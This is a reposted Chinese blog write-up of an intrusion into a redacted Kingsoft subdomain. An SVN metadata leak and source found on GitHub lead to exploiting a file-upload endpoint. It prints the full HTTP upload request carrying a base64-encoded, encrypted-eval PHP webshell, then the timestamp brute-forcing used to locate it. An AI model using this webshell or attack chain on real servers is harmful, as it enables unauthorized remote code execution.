5

记一次某山信息泄露+源码泄露getshell

 2 years ago
source link: https://blog.51cto.com/xunansec/5366142
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

记一次某山信息泄露+源码泄露getshell

原创

巡安似海 2022-06-08 09:24:22 博主文章分类:红蓝对抗 ©著作权

文章标签 svn php 信息泄露 网络安全 文章分类 安全技术 网络/安全 阅读数187

挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下

首先自然是子域名收集,发现存在一个很长的二级域名:

​*打码*.kingsoft.com​

因为是带着​​xray​​​扫的,所以直接发现​​.svn/entries​​​可访问,存在​​SVN​​​信息泄露,进一步利用,主要是访问​​/.svn/wc.db​​​可获取​​svn​​​数据库信息
​​​db​​文件可通过数据库读取软件打开,可以清晰看到网站文件结构:

记一次某山信息泄露+源码泄露getshell_网络安全

发现存在服务器日志页面

https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16

点击进入可看见服务器所有日志
以及各类服务器日志信息

在SVN数据翻找的过程中发现一个文件:​​showtrace.lua​

发现内网svn地址:​​svn.funova.com​

记一次某山信息泄露+源码泄露getshell_php_02

本着试试看的原则,在​​github​​中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面

记一次某山信息泄露+源码泄露getshell_php_03

经过与​​SVN​​泄露的文件对比验证,确定这就是该网站的项目源码!

赶快看看项目中的源码内容,看看有无利用点,正好发现存在个​​upload.php​

记一次某山信息泄露+源码泄露getshell_php_04

该PHP文件会在​​save​​​目录下创建一个通过​​devid​​与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:

记一次某山信息泄露+源码泄露getshell_网络安全_05

其中前面为日期,后面为小时-分钟-秒数

开始构造上传​​payload​​​,根据上传代码分析,文件内容需要经过一层​​base64​​​ Encode,把​​shell​​提前Encode一下即可:

POST /api/upload.php HTTP/1.1
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50

op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==

上传返回200,但没有返回文件名

记一次某山信息泄露+源码泄露getshell_网络安全_06

问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:

记一次某山信息泄露+源码泄露getshell_svn_07
​​​webshell​​连接成功:
记一次某山信息泄露+源码泄露getshell_svn_08

版权声明:本文为「gt4404gb」

原文链接:​ ​https://gt4404gb.com/archives/1278​​​

  • 收藏
  • 评论
  • 分享
  • 举报

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK